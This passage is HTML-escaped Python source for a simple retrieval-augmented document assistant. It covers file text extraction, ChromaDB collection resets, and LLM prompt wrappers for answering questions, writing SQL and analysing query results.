&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; if all_ids:&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; # Deleting all documents&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; self.collection.delete(ids=all_ids)&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; print(f&quot;Deleted {len(all_ids)} documents from collection&quot;)&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; else:&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; print(&quot;Collection is already empty&quot;)&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; return True&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; except Exception as e:&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; print(f&quot;Error getting or deleting documents: {str(e)}&quot;)&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; # Trying to recreate the collection as a fallback&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; try:&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; self.client.delete_collection(&quot;documents&quot;)&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; self.collection = self.client.get_or_create_collection(&quot;documents&quot;)&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; print(&quot;Collection recreated successfully&quot;)&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; return True&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; except Exception as e2:&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; print(f&quot;Error recreating collection: {str(e2)}&quot;)&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; return False&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; except Exception as e:&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; print(f&quot;Error resetting collection: {str(e)}&quot;)&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; return False&amp;nbsp;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;from typing import List, Dict, Any&lt;/p&gt;&lt;p&gt;import json&lt;/p&gt;&lt;p&gt;import os&lt;/p&gt;&lt;p&gt;import requests&lt;/p&gt;&lt;p&gt;from flask import Flask, render_template, request, jsonify&lt;/p&gt;&lt;p&gt;from werkzeug.utils import secure_filename&lt;/p&gt;&lt;p&gt;from PyPDF2 import PdfReader&amp;nbsp; # For PDF extraction&lt;/p&gt;&lt;p&gt;from docx import Document&amp;nbsp; # For DOCX extraction&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;class QueryEngine:&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; ALLOWED_EXTENSIONS = {&#39;txt&#39;, &#39;pdf&#39;, &#39;docx&#39;}&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; def __init__(self):&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; pass&amp;nbsp; # If needed, you could pass config or dependency here&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; def get_llm_endpoint(self):&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &quot;&quot;&quot;Returns the complete LLM API endpoint URL&quot;&quot;&quot;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; base_url = os.getenv(&quot;LLM_BASE_URL&quot;, &quot;&quot;)&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; return f&quot;{base_url}/chat/completions&quot;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; def get_model_name(self):&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &quot;&quot;&quot;Returns the model name to use for API requests&quot;&quot;&quot;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; return os.getenv(&quot;LLM_MODEL_NAME&quot;, &quot;&quot;)&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; def allowed_file(self, filename):&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &quot;&quot;&quot;Checks if the file is allowed&quot;&quot;&quot;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; return &#39;.&#39; in filename and filename.rsplit(&#39;.&#39;, 1)[1].lower() in self.ALLOWED_EXTENSIONS&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; def extract_text_from_pdf(self, file_path):&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &quot;&quot;&quot;Extracts text from a PDF file&quot;&quot;&quot;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; with open(file_path, &#39;rb&#39;) as file:&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; reader = PdfReader(file)&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; text = &#39;&#39;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; for page in reader.pages:&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; text += page.extract_text()&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; return text&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; def extract_text_from_docx(self, file_path):&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &quot;&quot;&quot;Extracts text from a DOCX file&quot;&quot;&quot;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; doc = Document(file_path)&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; text = &#39;&#39;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; for para in doc.paragraphs:&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; text += para.text&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; return text&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; def extract_text_from_file(self, file_path, file_extension):&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &quot;&quot;&quot;Extracts text from different file types&quot;&quot;&quot;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; if file_extension == &#39;pdf&#39;:&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; return self.extract_text_from_pdf(file_path)&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; elif file_extension == &#39;docx&#39;:&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; return self.extract_text_from_docx(file_path)&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; elif file_extension == &#39;txt&#39;:&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; with open(file_path, &#39;r&#39;) as file:&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; return file.read()&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; return &quot;&quot;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; def _call_llm(self, prompt: str, system_prompt: str = &quot;You are a helpful assistant.&quot;):&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &quot;&quot;&quot;Wraps the existing call_llm_api with system + user message formatting&quot;&quot;&quot;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; full_message = f&quot;{prompt}&quot;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; chat_request = {&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &quot;model&quot;: self.get_model_name(),&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &quot;messages&quot;: [&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; {&quot;role&quot;: &quot;system&quot;, &quot;content&quot;: system_prompt},&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; {&quot;role&quot;: &quot;user&quot;, &quot;content&quot;: full_message}&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; ]&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; }&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; headers = {&quot;Content-Type&quot;: &quot;application/json&quot;}&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; response = requests.post(&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; self.get_llm_endpoint(),&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; headers=headers,&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; json=chat_request,&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; timeout=30&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; )&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; if response.status_code != 200:&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; raise Exception(f&quot;API returned status code {response.status_code}: {response.text}&quot;)&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; chat_response = response.json()&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; if chat_response.get(&#39;choices&#39;) and len(chat_response[&#39;choices&#39;]) &amp;gt; 0:&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; return chat_response[&#39;choices&#39;][0][&#39;message&#39;][&#39;content&#39;].strip()&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; raise Exception(&quot;No response choices returned from API&quot;)&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; def generate_response(self, query: str, context_docs: List[Dict[str, Any]] = None):&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; context = &quot;&quot;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; if context_docs:&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; for doc in context_docs.get(&#39;documents&#39;, [[]])[0]:&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; context += f&quot;{doc}\n\n&quot;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; prompt = f&quot;&quot;&quot;You are an AI assistant that helps with document analysis and answering questions.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;Context information:&lt;/p&gt;&lt;p&gt;{context}&lt;/p&gt;&lt;p&gt;User question: {query}&lt;/p&gt;&lt;p&gt;Please provide a helpful, accurate, and concise answer based on the context information provided. If the context doesn&#39;t contain relevant information, say so instead of making up an answer.&quot;&quot;&quot;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; return self._call_llm(prompt)&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; def generate_sql_query(self, question: str, table_info: str):&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; prompt = f&quot;&quot;&quot;You are an SQL and data analysis expert. Generate an appropriate SQL query using SQLite syntax for the question provided, without any explanations or code comments.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;Table Information:&lt;/p&gt;&lt;p&gt;{table_info}&lt;/p&gt;&lt;p&gt;User Question: {question}&lt;/p&gt;&lt;p&gt;Generate only the SQL query, nothing else.&quot;&quot;&quot;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; return self._call_llm(prompt, system_prompt=&quot;You are an SQL expert.&quot;)&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; def analyze_sql_results(self, question: str, sql_query: str, results: str):&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; prompt = f&quot;&quot;&quot;You are a data analyst. Analyze the following SQL query results and provide a clear, concise interpretation.&lt;/p&gt;&lt;p&gt;User Question: {question}&lt;/p&gt;&lt;p&gt;SQL Query: {sql_query}&lt;/p&gt;&lt;p&gt;Query Results:&lt;/p&gt;&lt;p&gt;{results}&lt;/p&gt;&lt;p&gt;Provide a clear analysis of these results that directly answers the user&#39;s question.&quot;&quot;&quot;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; return self._call_llm(prompt, system_prompt=&quot;You are a data analyst.&quot;)&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;import os&lt;/p&gt;&lt;p&gt;from datetime import datetime&lt;/p&gt;&lt;p&gt;from dotenv import load_dotenv&lt;/p&gt;&lt;p&gt;from typing import List, Dict, Any&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;# Import local modules&lt;/p&gt;&lt;p&gt;from .db import SimpleDB&lt;/p&gt;&lt;p&gt;from .vector_db import ChromaVectorDB&lt;/p&gt;&lt;p&gt;from .query_engine import QueryEngine&lt;/p&gt;&lt;p&gt;from .document_parser import SimpleDocumentParser&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;# Load environment variables&lt;/p&gt;&lt;p&gt;load_dotenv()&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;class DocumentAssistant:&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; def __init__(self):&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &quot;&quot;&quot;Initialize the document assistant&quot;&quot;&quot;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; self.db = SimpleDB()&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; self.vector_db = ChromaVectorDB(os.getenv(&quot;CHROMA_DB_PATH&quot;, &quot;./data/chroma_db&quot;))&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; self.document_parser = SimpleDocumentParser()&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; def process_query(self, query: str):&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &quot;&quot;&quot;Process a query and return the response&quot;&quot;&quot;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; # Log the query&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; self.db.log_query(query)&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; # Get relevant documents&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; relevant_docs = self.vector_db.search(query)&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; # Generate response&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; response = self.query_engine.generate_response(query, relevant_docs)&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; # Log the response&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; self.db.log_query(query, response)&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; return response&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; def upload_document(self, file_path: str):&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &quot;&quot;&quot;Process and index a document&quot;&quot;&quot;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; # Get file metadata&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; filename = os.path.basename(file_path)&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; file_type = os.path.splitext(filename)[1].lower()&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; # Parse document&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; text_chunks = self.document_parser.parse_document(file_path)&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; # Add to database&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; doc_id = self.db.add_document(filename, file_path, file_type)&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; # Add to vector database&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; self.vector_db.add_document(file_path, text_chunks, {&quot;doc_id&quot;: doc_id})&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; return {&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &quot;status&quot;: &quot;success&quot;,&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &quot;message&quot;: f&quot;Document {filename} indexed successfully&quot;,&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &quot;chunks&quot;: len(text_chunks)&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; }&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; def get_all_documents(self):&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &quot;&quot;&quot;Get all documents&quot;&quot;&quot;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; return self.db.get_all_documents()&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; def reset_database(self):&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &quot;&quot;&quot;Reset the ChromaDB database&quot;&quot;&quot;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; try:&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; # Reset the vector database&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; if hasattr(self, &#39;vector_db&#39;) and self.vector_db is not None:&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; # Try to reset the collection&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; success = self.vector_db.reset_collection()&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; # Also clear the SimpleDB&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; if hasattr(self, &#39;db&#39;) and self.db is not None:&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; try:&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; self.db.clear_all()&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; print(&quot;SimpleDB cleared successfully&quot;)&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 